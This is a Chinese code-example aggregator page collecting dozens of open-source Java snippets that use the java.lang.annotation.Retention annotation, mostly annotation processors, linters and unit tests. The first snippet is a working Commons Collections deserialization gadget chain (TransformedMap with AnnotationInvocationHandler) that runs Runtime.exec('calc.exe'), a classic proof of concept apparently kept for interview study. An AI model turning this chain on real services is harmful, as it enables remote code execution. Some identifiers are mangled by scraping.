微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

java.lang.annotation.Retention的实例源码

项目:interview-question-code    文件App.java   
public static Object Reverse_Payload() throws Exception {
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),new InvokerTransformer("getmethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})};
    Transformer transformerChain = new ChainedTransformer(transformers);

    Map pocMap = new HashMap();
    pocMap.put("value","value");
    Map outmap = TransformedMap.decorate(pocMap,null,transformerChain);
    //通过反射获得AnnotationInvocationHandler类对象
    Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    //通过反射获得cls的构造函数
    Constructor ctor = cls.getDeclaredConstructor(Class.class,Map.class);
    //这里需要设置Accessible为true,否则序列化失败
    ctor.setAccessible(true);
    //通过newInstance()方法实例化对象
    Object instance = ctor.newInstance(Retention.class,outmap);
    return instance;
}
项目:beanvalidation-benchmark    文件JSR303Annotator.java   
private JDefinedClass buildTemplateConstraint(String name) {
    try {
        JDefinedClass tplConstraint = codemodel._class(Config.CFG.getBasePackageName() + ".annot."+name,Classtype.ANNOTATION_TYPE_DECL);
        tplConstraint.annotate(Documented.class);
        tplConstraint.annotate(Retention.class).param("value",RetentionPolicy.RUNTIME);
        tplConstraint.annotate(Target.class).paramArray("value").param(ElementType.TYPE).param(ElementType.ANNOTATION_TYPE).param(ElementType.FIELD).param(ElementType.METHOD);

        // Using direct as I don't kNow how to build default { } with code model
        tplConstraint.direct("\n" + "    Class<?>[] groups() default {};\n" + "    String message() default \"Invalid value\";\n" + "    Class<? extends Payload>[] payload() default {};\n");

        // Hack to force the import of javax.validation.Payload
        tplConstraint.javadoc().addThrows((JClass) codemodel._ref(Payload.class)).add("Force import");

        return tplConstraint;
    } catch (JClassAlreadyExistsException e) {
        throw new RuntimeException("Tried to create an already existing class: " + name,e);
    }
}
项目:russian-requisites-validator    文件ArchitectureTest.java   
private static ArchCondition<JavaClass> retention(final RetentionPolicy expected) {
    return new ArchCondition<JavaClass>("retention " + expected.name()) {
        @Override
        public void check(JavaClass item,ConditionEvents events) {
            Optional<Retention> annotation = item.tryGetAnnotationOfType(Retention.class);
            if (annotation.isPresent()) {
                RetentionPolicy actual = annotation.get().value();
                boolean equals = expected.equals(actual);
                String message = String.format("class %s is annotated with %s with value = '%s' which %s with required '%s'",item.getName(),Retention.class.getSimpleName(),actual.name(),equals ? "equals" : "not equals",expected.name()
                );
                events.add(equals ? SimpleConditionEvent.satisfied(item,message) : SimpleConditionEvent.violated(item,message));
            }
        }
    };
}
项目:Spork    文件QualifierCacheTests.java   
@Test
public void annotationWithValueMethod() {
    Annotation annotation = Singleton.class.getAnnotation(Retention.class);
    cache.getQualifier(annotation);

    Inorder inorder = inorder(lock,cache);

    // initial call
    inorder.verify(cache).getQualifier(annotation);

    // internal thread safe method lookup
    inorder.verify(cache).getValueMethodThreadSafe(Retention.class);
    inorder.verify(lock).lock();
    inorder.verify(cache).getValueMethod(Retention.class);
    inorder.verify(lock).unlock();

    // get Qualifier from value() method
    inorder.verify(cache).getQualifier(any(Method.class),eq(annotation));

    inorder.verifyNoMoreInteractions();
    verifyZeroInteractions(cache);
    assertthat(bindActionMap.size(),is(1));
}
项目:huntbugs    文件DeclaredAnnotations.java   
@Override
protected void visitType(TypeDeFinition td) {
    if (!td.isAnnotation())
        return;
    DeclaredAnnotation da = getorCreate(td);
    for (CustomAnnotation ca : td.getAnnotations()) {
        if (Types.is(ca.getAnnotationType(),Retention.class)) {
            for (AnnotationParameter ap : ca.getParameters()) {
                if (ap.getMember().equals("value")) {
                    AnnotationElement value = ap.getValue();
                    if (value instanceof EnumAnnotationElement) {
                        EnumAnnotationElement enumValue = (EnumAnnotationElement) value;
                        if (Types.is(enumValue.getEnumType(),RetentionPolicy.class)) {
                            da.policy = RetentionPolicy.valueOf(enumValue.getEnumConstantName());
                        }
                    }
                }
            }
        }
    }
}
项目:Lyrics    文件StringDefValuesHandler.java   
@Override
public void process(typespec.Builder typeBuilder,TypeModel typeModel) {
    String valuesstr = "";
    for (String key : getEnumValues(typeModel)) {
        valuesstr += key + ",";
        typeBuilder.addField(FieldSpec.builder(ClassName.get(String.class),key)
                .addModifiers(Modifier.PUBLIC,Modifier.STATIC,Modifier.FINAL)
                .initializer("$S",key)
                .build());
    }

    AnnotationSpec.Builder retentionAnnotation = AnnotationSpec.builder(ClassName.get(Retention.class)).
            addMember("value","$T.soURCE",ClassName.get(RetentionPolicy.class));
    AnnotationSpec.Builder intDefAnnotation = AnnotationSpec.builder(ClassName.get("android.support.annotation","StringDef"))
            .addMember("value","{ $L }",valuesstr.substring(0,valuesstr.length() - 2));

    typeBuilder.addType(typespec.annotationBuilder(MetaInfo.getClassName() + "Def").
            addModifiers(Modifier.PUBLIC).
            addAnnotation(retentionAnnotation.build()).
            addAnnotation(intDefAnnotation.build()).
            build());
}
项目:naum    文件Classtest.java   
@Test
public void loadAndCheckAnnotatedAnnotation() throws Exception {
    ClassInfo classInfo = ClassInfo.newAnnotation()
        .name("org.kordamp.naum.processor.klass.AnnotatedAnnotation")
        .iface(Annotation.class.getName())
        .build();
    classInfo.addToAnnotations(annotationInfo()
        .name(Retention.class.getName())
        .annotationValue("value",new EnumValue(RetentionPolicy.class.getName(),"SOURCE"))
        .build());
    classInfo.addToAnnotations(annotationInfo()
        .name(Target.class.getName())
        .annotationValue("value",newArrayValue(asList(
                newEnumValue(ElementType.class.getName(),ElementType.TYPE.name()),newEnumValue(ElementType.class.getName(),ElementType.FIELD.name()))
        ))
        .build());
    loadAndCheck("org/kordamp/naum/processor/klass/AnnotatedAnnotation.class",(klass) -> {
        assertthat(klass.getContentHash(),equalTo(classInfo.getContentHash()));
        assertthat(klass,equalTo(classInfo));
    });
}
项目:intellij-ce-playground    文件AnonymousCanBeLambdainspection.java   
private static boolean hasRuntimeAnnotations(PsiMethod method) {
  PsiAnnotation[] annotations = method.getModifierList().getAnnotations();
  for (PsiAnnotation annotation : annotations) {
    PsiJavaCodeReferenceElement ref = annotation.getNameReferenceElement();
    PsiElement target = ref != null ? ref.resolve() : null;
    if (target instanceof PsiClass) {
      final PsiAnnotation retentionAnno = AnnotationUtil.findAnnotation((PsiClass)target,Retention.class.getName());
      if (retentionAnno != null) {
        PsiAnnotationMemberValue value = retentionAnno.findAttributeValue("value");
        if (value instanceof PsiReferenceExpression) {
          final PsiElement resolved = ((PsiReferenceExpression)value).resolve();
          if (resolved instanceof PsiField && RetentionPolicy.RUNTIME.name().equals(((PsiField)resolved).getName())) {
            final PsiClass containingClass = ((PsiField)resolved).getContainingClass();
            if (containingClass != null && RetentionPolicy.class.getName().equals(containingClass.getQualifiedname())) {
              return true;
            }
          }
        }
      }
    }
  }
  return false;
}
项目:gwt-backbone    文件ReflectAllInOneCreator.java   
private void getAllReflectionClasses() throws NotFoundException{

        //System annotations
        addClassIfNotExists(typeOracle.getType(Retention.class.getCanonicalName()),ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Documented.class.getCanonicalName()),ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Inherited.class.getCanonicalName()),ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Target.class.getCanonicalName()),ReflectableHelper.getDefaultSettings(typeOracle));
        addClassIfNotExists(typeOracle.getType(Deprecated.class.getCanonicalName()),ReflectableHelper.getDefaultSettings(typeOracle));
        //typeOracle.getType("org.lirazs.gbackbone.client.test.reflection.TestReflectionGenerics.TestReflection1");

        //=====GWT0.7
        for (JClasstype classtype : typeOracle.getTypes()) {
            Reflectable reflectable = GenUtils.getClasstypeAnnotationWithMataAnnotation(classtype,Reflectable.class);
            if (reflectable != null){
                processClass(classtype,reflectable);

                if (reflectable.assignableClasses()){
                    for (JClasstype type : classtype.getSubtypes()){
                        processClass(type,reflectable);
                    }
                }
            }
        }
        //======end of gwt0.7
    }
项目:autodata    文件AutoDataAnnotationProcessor.java   
@Nullable
private static Class<Annotation> getDeclaredAnnotationClass(AnnotationMirror mirror) throws ClassNotFoundException {
    TypeElement element = (TypeElement) mirror.getAnnotationType().asElement();
    // Ensure the annotation has the correct retention and targets.
    Retention retention = element.getAnnotation(Retention.class);
    if (retention != null && retention.value() != RetentionPolicy.RUNTIME) {
        return null;
    }
    Target target = element.getAnnotation(Target.class);
    if (target != null) {
        if (target.value().length < 2) {
            return null;
        }
        List<ElementType> targets = Arrays.asList(target.value());
        if (!(targets.contains(ElementType.TYPE) && targets.contains(ElementType.ANNOTATION_TYPE))) {
            return null;
        }
    }
    return (Class<Annotation>) Class.forName(element.getQualifiedname().toString());
}
项目:error-prone    文件ScopeOrQualifierAnnotationRetention.java   
@Override
public final Description matchClass(Classtree classtree,VisitorState state) {
  if (ScopE_OR_QUALIFIER_ANNOTATION_MATCHER.matches(classtree,state)) {
    ClassSymbol classSymbol = ASTHelpers.getSymbol(classtree);
    if (hasSourceRetention(classSymbol)) {
      return describe(classtree,state,ASTHelpers.getAnnotation(classSymbol,Retention.class));
    }

    // Todo(glorioso): This is a poor hack to exclude android apps that are more likely to not
    // have reflective DI than normal java. JSR spec still says the annotations should be
    // runtime-retained,but this reduces the instances that are flagged.
    if (!state.isAndroidCompatible() && doesNotHaveRuntimeRetention(classSymbol)) {
      // Is this in a dagger component?
      Classtree outer = ASTHelpers.findEnclosingNode(state.getPath(),Classtree.class);
      if (outer != null && InjectMatchers.IS_DAGGER_COMPONENT_OR_MODULE.matches(outer,state)) {
        return Description.NO_MATCH;
      }
      return describe(classtree,Retention.class));
    }
  }
  return Description.NO_MATCH;
}
项目:error-prone    文件ScopeOrQualifierAnnotationRetention.java   
private Description describe(
    Classtree classtree,VisitorState state,@Nullable Retention retention) {
  if (retention == null) {
    return describeMatch(
        classtree,SuggestedFix.builder()
            .addImport("java.lang.annotation.Retention")
            .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
            .prefixWith(classtree,"@Retention(RUNTIME)\n")
            .build());
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classtree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(
      retentionNode,SuggestedFix.builder()
          .addImport("java.lang.annotation.Retention")
          .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
          .replace(retentionNode,"@Retention(RUNTIME)")
          .build());
}
项目:cn1    文件Class1_5Test.java   
/**
 *  
 */
public void test_isAnnotationPresent_Cla() {
    class e {};
    assertFalse("zzz annotation is not presented for e class!",e.class.isAnnotationPresent(zzz.class));
          assertFalse("zzz annotation is not presented for zzz class!",zzz.class.isAnnotationPresent(zzz.class));
    assertTrue("Target annotation is presented for zzz class!",zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Target.class));
    assertTrue("Documented annotation is presented for zzz class!",zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Documented.class));
    assertTrue("Retention annotation is presented for zzz class!",zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Retention.class));
}
项目:cn1    文件Class1_5Test.java   
/**
 *  
 */
public void test_getAnnotation_Cla() {
    class e {};
    assertNull("zzz annotation is not presented in e class!",e.class.getAnnotation(zzz.class));
    assertNull("zzz annotation is not presented in zzz class!",zzz.class.getAnnotation(zzz.class));
    assertFalse("Target annotation is presented in zzz class!",zzz.class.getAnnotation(java.lang.annotation.Target.class)
                     .toString().indexOf("java.lang.annotation.Target") == -1);
    assertFalse("Documented annotation is presented in zzz class!",zzz.class.getAnnotation(java.lang.annotation.Documented.class)
                     .toString().indexOf("java.lang.annotation.Documented") == -1);
          assertFalse("Retention annotation is presented in zzz class!",zzz.class.getAnnotation(java.lang.annotation.Retention.class)
                     .toString().indexOf("java.lang.annotation.Retention") == -1);
}
项目:error-prone-aspirator    文件InjectScopeOrQualifierAnnotationRetention.java   
public Description describe(Classtree classtree,VisitorState state) {
  Retention retention = ASTHelpers.getAnnotation(classtree,Retention.class);
  if (retention == null) {
    return describeMatch(classtree,new SuggestedFix().addImport(
        "java.lang.annotation.Retention")
        .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
        .prefixWith(classtree,"@Retention(RUNTIME)\n"));
  }
  AnnotationTree retentionNode = null;
  for (AnnotationTree annotation : classtree.getModifiers().getAnnotations()) {
    if (ASTHelpers.getSymbol(annotation)
        .equals(state.getSymbolFromString(RETENTION_ANNOTATION))) {
      retentionNode = annotation;
    }
  }
  return describeMatch(retentionNode,new SuggestedFix().addImport(
      "java.lang.annotation.Retention")
      .addStaticImport("java.lang.annotation.RetentionPolicy.RUNTIME")
      .replace(retentionNode,"@Retention(RUNTIME)"));
}
项目:error-prone-aspirator    文件NonRuntimeAnnotation.java   
@Override
public Description matchMethodInvocation(MethodInvocationTree tree,VisitorState state) {
  if (!methodSelect(
      instanceMethod(Matchers.<ExpressionTree>isSubtypeOf("java.lang.class"),"getAnnotation"))
      .matches(tree,state)) {
    return Description.NO_MATCH;
  }
  MemberSelectTree memTree = (MemberSelectTree) tree.getArguments().get(0);
  TypeSymbol annotation = ASTHelpers.getSymbol(memTree.getExpression()).type.tsym;

  Retention retention = ASTHelpers.getAnnotation(annotation,Retention.class);
  if (retention != null && retention.value().equals(RUNTIME)) {
    return Description.NO_MATCH;
  }

  return describeMatch(tree,new SuggestedFix().replace(tree,"null"));
}
项目:freeVM    文件Class1_5Test.java   
/**
 *  
 */
public void test_isAnnotationPresent_Cla() {
    class e {};
    assertFalse("zzz annotation is not presented for e class!",zzz.class.isAnnotationPresent(java.lang.annotation
                                                   .Retention.class));
}
项目:freeVM    文件Class1_5Test.java   
/**
 *  
 */
public void test_getAnnotation_Cla() {
    class e {};
    assertNull("zzz annotation is not presented in e class!",zzz.class.getAnnotation(java.lang.annotation.Retention.class)
                     .toString().indexOf("java.lang.annotation.Retention") == -1);
}
项目:ajunit    文件ClasspredicatesTest.java   
@Test
public void isSubclassOfInterfacePredicate() throws Exception {
    // arrange / given
    final Predicate predicate = Classpredicates.isSubclassOf(AnyInterface.class);

    // assert / then
    assertClasstype(predicate,int.class,false);
    assertClasstype(predicate,void.class,int[].class,Object.class,Serializable.class,RetentionPolicy.class,Retention.class,AnyInterface.class,true);
    assertClasstype(predicate,AnyBaseClass.class,AnyClass.class,true);
}
项目:ajunit    文件ClasspredicatesTest.java   
@Test
public void isSubclassOfBaseClasspredicate() throws Exception {
    // arrange / given
    final Predicate predicate = Classpredicates.isSubclassOf(AnyBaseClass.class);

    // assert / then
    assertClasstype(predicate,true);
}
项目:teavm    文件Classtest.java   
@Test
public void annotationFieldTypesSupported() {
    AnnotWithVarIoUsFields annot = D.class.getAnnotation(AnnotWithVarIoUsFields.class);
    assertEquals(true,annot.a());
    assertEquals((byte) 2,annot.b());
    assertEquals((short) 3,annot.c());
    assertEquals(4,annot.d());
    assertEquals(5L,annot.e());
    assertEquals(6.5,annot.f(),0.01);
    assertEquals(7.2,annot.g(),0.01);
    assertArrayEquals(new int[] { 2,3 },annot.h());
    assertEquals(RetentionPolicy.CLASS,annot.i());
    assertEquals(Retention.class,annot.j().annotationType());
    assertEquals(1,annot.k().length);
    assertEquals(RetentionPolicy.RUNTIME,annot.k()[0].value());
    assertEquals("foo",annot.l());
    assertArrayEquals(new String[] { "bar" },annot.m());
    assertEquals(Integer.class,annot.n());
}
项目:Reer    文件AsmBackedClassGenerator.java   
public void addConstructor(Constructor<?> constructor) throws Exception {
    List<Type> paramTypes = new ArrayList<Type>();
    for (Class<?> paramType : constructor.getParameterTypes()) {
        paramTypes.add(Type.getType(paramType));
    }
    String methodDescriptor = Type.getmethodDescriptor(VOID_TYPE,paramTypes.toArray(EMPTY_TYPES));

    MethodVisitor methodVisitor = visitor.visitMethod(Opcodes.ACC_PUBLIC,"<init>",methodDescriptor,signature(constructor),EMPTY_STRINGS);

    for (Annotation annotation : constructor.getDeclaredAnnotations()) {
        if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
            continue;
        }
        Retention retention = annotation.annotationType().getAnnotation(Retention.class);
        AnnotationVisitor annotationVisitor = methodVisitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(),retention != null && retention.value() == RetentionPolicy.RUNTIME);
        annotationVisitor.visitEnd();
    }

    methodVisitor.visitCode();

    // this.super(p0 .. pn)
    methodVisitor.visitvarInsn(Opcodes.ALOAD,0);
    for (int i = 0; i < constructor.getParameterTypes().length; i++) {
        methodVisitor.visitvarInsn(Type.getType(constructor.getParameterTypes()[i]).getopcode(Opcodes.ILOAD),i + 1);
    }
    methodVisitor.visitMethodInsn(Opcodes.INVOKESPECIAL,superclasstype.getInternalName(),false);

    methodVisitor.visitInsn(Opcodes.RETURN);
    methodVisitor.visitMaxs(0,0);
    methodVisitor.visitEnd();
}
项目:Reer    文件AsmBackedClassGenerator.java   
private void includenotinheritedAnnotations() {
    for (Annotation annotation : type.getDeclaredAnnotations()) {
        if (annotation.annotationType().getAnnotation(Inherited.class) != null) {
            continue;
        }
        Retention retention = annotation.annotationType().getAnnotation(Retention.class);
        boolean visible = retention != null && retention.value() == RetentionPolicy.RUNTIME;
        AnnotationVisitor annotationVisitor = visitor.visitAnnotation(Type.getType(annotation.annotationType()).getDescriptor(),visible);
        visitAnnotationValues(annotation,annotationVisitor);
        annotationVisitor.visitEnd();
    }
}
项目:Reer    文件GradleResolveVisitor.java   
public void visitAnnotations(Annotatednode node) {
    List<AnnotationNode> annotations = node.getAnnotations();
    if (annotations.isEmpty()) {
        return;
    }
    Map<String,AnnotationNode> tmpAnnotations = new HashMap<String,AnnotationNode>();
    ClassNode annType;
    for (AnnotationNode an : annotations) {
        // skip built-in properties
        if (an.isBuiltIn()) {
            continue;
        }
        annType = an.getClassNode();
        resolveOrFail(annType,",unable to find class for annotation",an);
        for (Map.Entry<String,Expression> member : an.getMembers().entrySet()) {
            Expression newValue = transform(member.getValue());
            newValue = transformInlineConstants(newValue);
            member.setValue(newValue);
            checkAnnotationMemberValue(newValue);
        }
        if (annType.isResolved()) {
            Class annTypeClass = annType.getTypeClass();
            Retention retAnn = (Retention) annTypeClass.getAnnotation(Retention.class);
            if (retAnn != null && retAnn.value().equals(RetentionPolicy.RUNTIME)) {
                AnnotationNode anyPrevAnnNode = tmpAnnotations.put(annTypeClass.getName(),an);
                if (anyPrevAnnNode != null) {
                    addError("Cannot specify duplicate annotation on the same member : " + annType.getName(),an);
                }
            }
        }
    }
}
项目:incubator-netbeans    文件GenerationUtilsTest.java   
public void testCreateAnnotation() throws Exception {
    TestUtilities.copyStringToFileObject(testFO,"package foo;" +
            "public class TestClass {" +
            "}");
    runModificationTask(testFO,new Task<Workingcopy>() {
        public void run(Workingcopy copy) throws Exception {
            GenerationUtils genUtils = GenerationUtils.newInstance(copy);
            Classtree classtree = (Classtree)copy.getcompilationunit().getTypeDecls().get(0);
            AnnotationTree annotationTree = genUtils.createAnnotation("java.lang.SuppressWarnings",Collections.singletonList(genUtils.createAnnotationArgument(null,"unchecked")));
            Classtree newClasstree = genUtils.addAnnotation(classtree,annotationTree);
            annotationTree = genUtils.createAnnotation("java.lang.annotation.Retention","java.lang.annotation.RetentionPolicy","RUNTIME")));
            newClasstree = genUtils.addAnnotation(newClasstree,annotationTree);
            copy.rewrite(classtree,newClasstree);
        }
    }).commit();
    runUserActionTask(testFO,new Task<CompilationController>() {
        public void run(CompilationController controller) throws Exception {
            TypeElement typeElement = SourceUtils.getPublicTopLevelElement(controller);
            assertEquals(2,typeElement.getAnnotationMirrors().size());
            SuppressWarnings suppressWarnings = typeElement.getAnnotation(SuppressWarnings.class);
            assertNotNull(suppressWarnings);
            assertEquals(1,suppressWarnings.value().length);
            assertEquals("unchecked",suppressWarnings.value()[0]);
            Retention retention = typeElement.getAnnotation(Retention.class);
            assertNotNull(retention);
            assertEquals(RetentionPolicy.RUNTIME,retention.value());
        }
    });
}
项目:elasticsearch_my    文件Matchers.java   
private static void checkForRuntimeRetention(
        Class<? extends Annotation> annotationType) {
    Retention retention = annotationType.getAnnotation(Retention.class);
    if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
        throw new IllegalArgumentException("Annotation " + annotationType.getSimpleName() + " is missing RUNTIME retention");
    }
}
项目:openjdk-systemtest    文件AnnotationFieldTests.java   
public void testMetaAnnotation() throws NoSuchFieldException
{
    Field myMetaField = AnnotatedElements.class.getDeclaredField("field4");

    // The @A_Meta annotation has an annotation called @MetaAnnotation2
    A_Meta am = myMetaField.getAnnotation(A_Meta.class);
    assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation2.class));
    assertTrue( am.annotationType().isAnnotationPresent(MetaAnnotation3.class));

    Annotation[] annot1 = am.annotationType().getAnnotations();
    // 3 annotations should be present: @MetaAnnotation2,@MetaAnnotation3,@Retention
    assertTrue (annot1.length == 3);

    boolean[] annot_count = new boolean[] {false,false,false};        
    for (int i=0; i<annot1.length; i++)
    {
        if (annot1[i] instanceof Retention)
            annot_count[0] = true;
        else if (annot1[i] instanceof MetaAnnotation2)
            annot_count[1] = true;              
        else if (annot1[i] instanceof MetaAnnotation3)
            annot_count[2] = true;              
        else
            fail("Error! UnkNown annotation instance detected in field2!");                         
    }
    // Make sure all three annotations were found
    assertTrue(annot_count[0] && annot_count[1] && annot_count[2]);     

    // @MetaAnnotation2 has an annotation called @MetaAnnotation
    Annotation annot2 = MetaAnnotation2.class.getAnnotation(MetaAnnotation.class);
    assertTrue(annot2 != null);
    assertTrue(annot2 instanceof MetaAnnotation);       
}
项目:guava-mock    文件FeatureEnumTest.java   
private static void assertGoodTesterannotation(
    Class<? extends Annotation> annotationClass) {
  assertNotNull(
      rootLocaleFormat("%s must be annotated with @Testerannotation.",annotationClass),annotationClass.getAnnotation(Testerannotation.class));
  final Retention retentionPolicy =
      annotationClass.getAnnotation(Retention.class);
  assertNotNull(
      rootLocaleFormat("%s must have a @Retention annotation.",retentionPolicy);
  assertEquals(
      rootLocaleFormat("%s must have RUNTIME RetentionPolicy.",RetentionPolicy.RUNTIME,retentionPolicy.value());
  assertNotNull(
      rootLocaleFormat("%s must be inherited.",annotationClass.getAnnotation(Inherited.class));

  for (String propertyName : new String[]{"value","absent"}) {
    Method method = null;
    try {
      method = annotationClass.getmethod(propertyName);
    } catch (NoSuchMethodException e) {
      fail(rootLocaleFormat("%s must have a property named '%s'.",annotationClass,propertyName));
    }
    final Class<?> returnType = method.getReturnType();
    assertTrue(rootLocaleFormat("%s.%s() must return an array.",propertyName),returnType.isArray());
    assertSame(rootLocaleFormat("%s.%s() must return an array of %s.",propertyName,annotationClass.getDeclaringClass()),annotationClass.getDeclaringClass(),returnType.getComponentType());
  }
}
项目:ArchUnit    文件CanBeAnnotated.java   
private static void checkAnnotationHasReasonableRetention(Class<? extends Annotation> annotationType) {
    if (isRetentionSource(annotationType)) {
        throw new InvalidSyntaxUsageException(String.format(
                "Annotation type %s has @%s(%s),thus the @R_652_4045@ion is gone after compile. "
                        + "So checking this with ArchUnit is useless.",annotationType.getName(),RetentionPolicy.soURCE));
    }
}
项目:ArchUnit    文件JavaClasstest.java   
@Test
public void isAnnotatedWith_type() {
    assertthat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertthat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
项目:ArchUnit    文件JavaClasstest.java   
@Test
public void isAnnotatedWith_typeName() {
    assertthat(importClassWithContext(Parent.class).isAnnotatedWith(SomeAnnotation.class.getName()))
            .as("Parent is annotated with @" + SomeAnnotation.class.getSimpleName()).isTrue();
    assertthat(importClassWithContext(Parent.class).isAnnotatedWith(Retention.class.getName()))
            .as("Parent is annotated with @" + Retention.class.getSimpleName()).isFalse();
}
项目:ArchUnit    文件AnnotationProxyTest.java   
@Test
public void wrong_annotation_type_is_rejected() {
    JavaAnnotation mismatch = javaAnnotationFrom(TestAnnotation.class.getAnnotation(Retention.class));

    thrown.expect(IllegalArgumentException.class);
    thrown.expectMessage(Retention.class.getSimpleName());
    thrown.expectMessage(TestAnnotation.class.getSimpleName());
    thrown.expectMessage("incompatible");
    AnnotationProxy.of(TestAnnotation.class,mismatch);
}
项目:ArchUnit    文件JavaMemberTest.java   
@Test
public void isAnnotatedWith_type() {
    assertthat(importField(SomeClass.class,"someField").isAnnotatedWith(Deprecated.class))
            .as("field is annotated with @Deprecated").isTrue();
    assertthat(importField(SomeClass.class,"someField").isAnnotatedWith(Retention.class))
            .as("field is annotated with @Retention").isFalse();
}
项目:ArchUnit    文件JavaMemberTest.java   
@Test
public void isAnnotatedWith_typeName() {
    assertthat(importField(SomeClass.class,"someField").isAnnotatedWith(Deprecated.class.getName()))
            .as("field is annotated with @Deprecated").isTrue();
    assertthat(importField(SomeClass.class,"someField").isAnnotatedWith(Retention.class.getName()))
            .as("field is annotated with @Retention").isFalse();
}
项目:queries    文件QueriesConfigImpltest.java   
@Before
public void setUp() {
    mappers = new HashMap<>();
    mappers.put(Retention.class,mapper1);
    mappers.put(Target.class,mapper2);

    converters = new HashMap<>();
    converters.put(Retention.class,converter1);
    converters.put(Target.class,converter2);

    config = new QueriesConfigImpl(dialect,binder,mappers,converters);
}
项目:googles-monorepo-demo    文件FeatureEnumTest.java   
private static void assertGoodTesterannotation(
    Class<? extends Annotation> annotationClass) {
  assertNotNull(
      rootLocaleFormat("%s must be annotated with @Testerannotation.",returnType.getComponentType());
  }
}
项目:toothpick    文件FactoryProcessor.java   
private void checkScopeAnnotationValidity(TypeElement annotation) {
  if (annotation.getAnnotation(Scope.class) == null) {
    error(annotation,"Scope Annotation %s does not contain Scope annotation.",annotation.getQualifiedname());
    return;
  }

  Retention retention = annotation.getAnnotation(Retention.class);
  if (retention == null || retention.value() != RetentionPolicy.RUNTIME) {
    error(annotation,"Scope Annotation %s does not have RUNTIME retention policy.",annotation.getQualifiedname());
  }
}
项目:aml    文件Context.java   
private JDefinedClass createCustomHttpMethodAnnotation(final String httpMethod)
    throws JClassAlreadyExistsException
{
    final JPackage pkg = codemodel._package(getSupportPackage());
    final JDefinedClass annotationClazz = pkg._annotationTypeDeclaration(httpMethod);
    annotationClazz.annotate(Target.class).param("value",ElementType.METHOD);
    annotationClazz.annotate(Retention.class).param("value",RetentionPolicy.RUNTIME);
    annotationClazz.annotate(HttpMethod.class).param("value",httpMethod);
    annotationClazz.javadoc().add("Custom JAX-RS support for HTTP " + httpMethod + ".");
    httpMethodAnnotations.put(httpMethod.toupperCase(),annotationClazz);
    return annotationClazz;
}
项目:intellij-ce-playground    文件ReflectionForUnavailableAnnotationinspection.java   
public void foo() throws NoSuchMethodException {
    getClass().getAnnotation(Retention.class);
    getClass().getAnnotation(UnretainedAnnotation.class);
    getClass().getAnnotation(SourceAnnotation.class);
    getClass().isAnnotationPresent(Retention.class);
    getClass().isAnnotationPresent(UnretainedAnnotation.class);
    getClass().isAnnotationPresent(SourceAnnotation.class);
    getClass().getmethod("foo").getAnnotation(SourceAnnotation.class);
}

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 [email protected] 举报,一经查实,本站将立刻删除。